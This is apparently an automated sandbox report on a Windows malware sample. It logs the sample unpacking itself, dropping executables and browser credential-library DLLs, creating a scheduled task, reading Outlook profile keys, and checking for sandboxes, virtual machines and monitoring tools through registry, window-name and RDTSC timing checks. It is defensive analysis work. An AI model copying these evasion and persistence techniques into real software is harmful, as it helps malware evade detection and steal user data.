Source: C:\Users\user\DocumentsFHJKKECFIE.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1810432 > 1048576

Source: file.exe

Static PE information: Raw size of vxiwxizj is bigger than: 0x100000 < 0x1a0200

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.1920673438.000000007013D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.1920673438.000000007013D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.d50000.0.unpack :EW;.rsrc:W;.idata :W; :EW;vxiwxizj:EW;btvupddn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;vxiwxizj:EW;btvupddn:EW;.taggant:EW;
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	Unpacked PE file: 20.2.DocumentsFHJKKECFIE.exe.5f0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ouutfhzy:EW;nnqcftdu:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ouutfhzy:EW;nnqcftdu:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 21.2.skotes.exe.100000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ouutfhzy:EW;nnqcftdu:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ouutfhzy:EW;nnqcftdu:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 22.2.skotes.exe.100000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ouutfhzy:EW;nnqcftdu:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ouutfhzy:EW;nnqcftdu:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 26.2.skotes.exe.100000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ouutfhzy:EW;nnqcftdu:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ouutfhzy:EW;nnqcftdu:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: DocumentsFHJKKECFIE.exe.0.dr	Static PE information: real checksum: 0x1dedea should be: 0x1d727b
Source: file.exe	Static PE information: real checksum: 0x1bfeff should be: 0x1bbecd
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x1dedea should be: 0x1d727b
Source: skotes.exe.20.dr	Static PE information: real checksum: 0x1dedea should be: 0x1d727b

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: vxiwxizj
Source: file.exe	Static PE information: section name: btvupddn
Source: file.exe	Static PE information: section name: .taggant
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: ouutfhzy
Source: random[1].exe.0.dr	Static PE information: section name: nnqcftdu
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: DocumentsFHJKKECFIE.exe.0.dr	Static PE information: section name:
Source: DocumentsFHJKKECFIE.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsFHJKKECFIE.exe.0.dr	Static PE information: section name:
Source: DocumentsFHJKKECFIE.exe.0.dr	Static PE information: section name: ouutfhzy
Source: DocumentsFHJKKECFIE.exe.0.dr	Static PE information: section name: nnqcftdu
Source: DocumentsFHJKKECFIE.exe.0.dr	Static PE information: section name: .taggant
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: skotes.exe.20.dr	Static PE information: section name:
Source: skotes.exe.20.dr	Static PE information: section name: .idata
Source: skotes.exe.20.dr	Static PE information: section name:
Source: skotes.exe.20.dr	Static PE information: section name: ouutfhzy
Source: skotes.exe.20.dr	Static PE information: section name: nnqcftdu
Source: skotes.exe.20.dr	Static PE information: section name: .taggant

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_1_0016F29B push eax; mov dword ptr [esp], edx	22_1_0016F67A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_1_0016F29B push edx; mov dword ptr [esp], eax	22_1_0016F75F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_1_0016F29B push 5644FF7Dh; mov dword ptr [esp], esi	22_1_0016F943
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_1_00172414 push 57FFFFECh; mov dword ptr [esp], eax	22_1_0017241B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_1_0016CC1C push 10DCDA61h; mov dword ptr [esp], eax	22_1_0016CC3E
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_1_0016CC1C push esi; mov dword ptr [esp], ebx	22_1_0016CC7C
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_1_001D4E0D push 0278348Eh; mov dword ptr [esp], ebx	22_1_001D4E34
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_1_001D4E0D push edx; mov dword ptr [esp], ebp	22_1_001D4E5B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_1_00224C07 push 25B50C96h; mov dword ptr [esp], eax	22_1_00224C2F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_1_00224C07 push 5E7353B9h; mov dword ptr [esp], ebx	22_1_00224C45
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_1_00224C07 push eax; mov dword ptr [esp], ecx	22_1_00224CEB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_1_00224C07 push 5580F9C7h; mov dword ptr [esp], ebx	22_1_00224D8A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_1_00224C07 push 0895DF8Fh; mov dword ptr [esp], edi	22_1_00224DB7
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_1_00224C07 push esi; mov dword ptr [esp], 5F5BA046h	22_1_00224E7F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_1_00224C07 push 606819FEh; mov dword ptr [esp], eax	22_1_00224ECE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_1_0016CC26 push 10DCDA61h; mov dword ptr [esp], eax	22_1_0016CC3E
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_1_0016CC26 push esi; mov dword ptr [esp], ebx	22_1_0016CC7C
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_1_0016CC70 push esi; mov dword ptr [esp], ebx	22_1_0016CC7C
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_1_00233C44 push ebx; mov dword ptr [esp], esi	22_1_00233C5B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_1_00233C44 push 065A3A9Bh; mov dword ptr [esp], edx	22_1_00233C68
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_1_00233C44 push 03090638h; mov dword ptr [esp], edx	22_1_00233C79
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_1_00233C44 push 31E92359h; mov dword ptr [esp], ebp	22_1_00233CB2
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_1_001C0C6D push 0F0F5F46h; mov dword ptr [esp], ebp	22_1_001C0CAB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_1_001C0C6D push 16C12C78h; mov dword ptr [esp], ebp	22_1_001C0D2B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_1_001C0C6D push 72B4FD21h; mov dword ptr [esp], ecx	22_1_001C0D47
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_1_001C0C6D push 68215854h; mov dword ptr [esp], ebx	22_1_001C0D80
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_1_001C0C6D push esi; mov dword ptr [esp], esp	22_1_001C0D95
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_1_001C0C6D push eax; mov dword ptr [esp], ecx	22_1_001C0DFF
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_1_0016F662 push eax; mov dword ptr [esp], edx	22_1_0016F67A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_1_0016F662 push edx; mov dword ptr [esp], eax	22_1_0016F75F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_1_0016F662 push 5644FF7Dh; mov dword ptr [esp], esi	22_1_0016F943

Source: file.exe	Static PE information: section name: vxiwxizj entropy: 7.954085793015688
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.977190884640264
Source: random[1].exe.0.dr	Static PE information: section name: ouutfhzy entropy: 7.952816913055672
Source: DocumentsFHJKKECFIE.exe.0.dr	Static PE information: section name: entropy: 7.977190884640264
Source: DocumentsFHJKKECFIE.exe.0.dr	Static PE information: section name: ouutfhzy entropy: 7.952816913055672
Source: skotes.exe.20.dr	Static PE information: section name: entropy: 7.977190884640264
Source: skotes.exe.20.dr	Static PE information: section name: ouutfhzy entropy: 7.952816913055672

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsFHJKKECFIE.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsFHJKKECFIE.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsFHJKKECFIE.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsFHJKKECFIE.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\DocumentsFHJKKECFIE.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsFHJKKECFIE.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9FC80 second address: F9FC86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9FC86 second address: F9FC8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111EBD3 second address: 111EBE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 pop ebx 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b jng 00007F9934D1A6A6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111ED4B second address: 111ED50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111ED50 second address: 111ED59 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111ED59 second address: 111ED88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9934C73DD4h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push edi 0x00000010 pushad 0x00000011 popad 0x00000012 jl 00007F9934C73DC6h 0x00000018 pop edi 0x00000019 pushad 0x0000001a push esi 0x0000001b pop esi 0x0000001c pushad 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111ED88 second address: 111ED91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111ED91 second address: 111ED97 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111EF13 second address: 111EF2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9934D1A6B3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111EF2A second address: 111EF46 instructions: 0x00000000 rdtsc 0x00000002 je 00007F9934C73DC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jbe 00007F9934C73DCEh 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111EF46 second address: 111EF4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111EF4C second address: 111EF5F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jo 00007F9934C73DCEh 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
